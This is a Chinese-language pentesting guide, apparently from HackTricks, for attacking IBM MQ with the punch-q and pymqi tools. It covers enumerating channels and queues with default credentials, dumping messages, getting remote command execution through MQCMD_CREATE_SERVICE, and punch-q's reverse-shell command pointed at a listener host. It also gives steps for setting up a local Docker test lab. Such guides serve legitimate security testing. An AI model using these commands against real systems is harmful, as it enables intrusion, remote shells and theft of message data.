1414 - Pentesting IBM MQ

支持 HackTricks

基本信息

IBM MQ 是一种 IBM 技术,用于管理消息队列。与其他 消息中介 技术一样,它专门用于接收、存储、处理和分类生产者与消费者之间的信息。

默认情况下,它暴露 IBM MQ TCP 端口 1414。 有时,HTTP REST API 可能会暴露在端口 9443 上。 指标(Prometheus)也可以通过 TCP 端口 9157 访问。

IBM MQ TCP 端口 1414 可用于操作消息、队列、通道……但 也可用于控制实例

IBM 提供了大量技术文档,网址为 https://www.ibm.com/docs/en/ibm-mq

工具

一个建议的易于利用的工具是 punch-q,使用 Docker。该工具积极使用 Python 库 pymqi

对于更手动的方法,可以使用 Python 库 pymqi。需要 IBM MQ 依赖项

安装 pymqi

IBM MQ 依赖项 需要安装和加载:

  1. https://login.ibm.com/ 创建一个帐户(IBMid)。

  2. 解压缩(tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz)。

  3. 运行 sudo ./mqlicense.sh 接受许可条款。

如果您使用的是 Kali Linux,请修改文件 mqlicense.sh:删除/注释以下行(在第 105-110 行之间):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. 安装这些软件包:

sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. 然后,临时将 .so 文件添加到 LD: export LD_LIBRARY_PATH=/opt/mqm/lib64使用这些依赖项运行其他工具之前。

然后,您可以克隆项目 pymqi:它包含有趣的代码片段、常量等。或者您可以直接安装库:pip install pymqi

使用 punch-q

使用 Docker

只需使用:sudo docker run --rm -ti leonjza/punch-q

不使用 Docker

克隆项目 punch-q,然后按照自述文件进行安装(pip install -r requirements.txt && python3 setup.py install)。

之后,可以使用 punch-q 命令。

枚举

您可以尝试使用 punch-qpymqi 枚举 队列管理器名称、用户、通道和队列

队列管理器

有时,没有保护措施来获取队列管理器名称:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Channels

punch-q 使用一个内部(可修改)词汇表来查找现有的通道。用法示例:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

一些 IBM MQ 实例接受 未认证 的 MQ 请求,因此不需要 --username / --password。当然,访问权限也可能有所不同。

一旦我们获得一个通道名称(这里是:DEV.ADMIN.SVRCONN),我们就可以枚举所有其他通道。

枚举基本上可以使用 pymqi 中的这个代码片段 code/examples/dis_channels.py 来完成:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... 但是 punch-q 也嵌入了那部分(包含更多信息!)。 可以通过以下方式启动:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Queues

有一个使用 pymqi 的代码片段(dis_queues.py),但 punch-q 允许检索有关队列的更多信息:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

您可以针对队列/通道进行嗅探/转储消息(非破坏性操作)。 示例:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

不要犹豫,迭代所有识别的队列。

代码执行

在继续之前的一些细节:IBM MQ 可以通过多种方式进行控制:MQSC、PCF、控制命令。可以在 IBM MQ 文档 中找到一些一般列表。 PCF (可编程命令格式) 是我们关注的与实例远程交互的方式。punch-q 和进一步的 pymqi 基于 PCF 交互。

你可以找到 PCF 命令的列表:

一个有趣的命令是 MQCMD_CREATE_SERVICE,其文档可在 这里 找到。它的参数是指向实例上本地程序的 StartCommand(示例:/bin/sh)。

文档中还有该命令的警告:“注意:此命令允许用户以 mqm 权限运行任意命令。如果被授予使用此命令的权限,恶意或粗心的用户可能会定义一个服务,从而损害你的系统或数据,例如,删除重要文件。”

注意:始终根据 IBM MQ 文档(管理参考),在 /admin/action/qmgr/{qmgrName}/mqsc 处还有一个 HTTP 端点,可以运行等效的 MQSC 命令以创建服务(DEFINE SERVICE)。这一方面在这里尚未覆盖。

使用 PCF 进行远程程序执行的服务创建/删除可以通过 punch-q 完成:

示例 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

在 IBM MQ 的日志中,您可以看到命令已成功执行:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

您还可以枚举机器上现有的程序(这里 /bin/doesnotexist ... 不存在):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

请注意,程序启动是异步的。因此,您需要第二个项目来利用该漏洞 (反向 shell 的监听器、在不同服务上创建文件、通过网络进行数据外泄 ...)

示例 2

为了方便反向 shell,punch-q 还提供了两个反向 shell 有效载荷:

  • 一个使用 bash

  • 一个使用 perl

当然,您可以使用 execute 命令构建自定义的有效载荷。

对于 bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

对于perl:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Custom PCF

您可以深入研究 IBM MQ 文档,并直接使用 pymqi python 库来测试 punch-q 中未实现的特定 PCF 命令。

Example:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

如果您无法找到常量名称,可以参考IBM MQ文档

MQCMD_REFRESH_CLUSTER的示例(十进制 = 73)。它需要参数MQCA_CLUSTER_NAME(十进制 = 2029),可以是*(文档:):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Error")
else:
    print(response)

qmgr.disconnect()

测试环境

如果您想测试IBM MQ的行为和漏洞,可以基于Docker设置本地环境:

  1. 在ibm.com和cloud.ibm.com上拥有一个账户。

  2. 创建一个容器化的IBM MQ:

sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

默认情况下,身份验证已启用,用户名为 admin,密码为 passw0rd(环境变量 MQ_ADMIN_PASSWORD)。在这里,队列管理器名称已设置为 MYQUEUEMGR(变量 MQ_QMGR_NAME)。

您应该已经启动并运行 IBM MQ,并且其端口已暴露:

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

IBM MQ Docker 镜像的旧版本在: https://hub.docker.com/r/ibmcom/mq/.

References

Last updated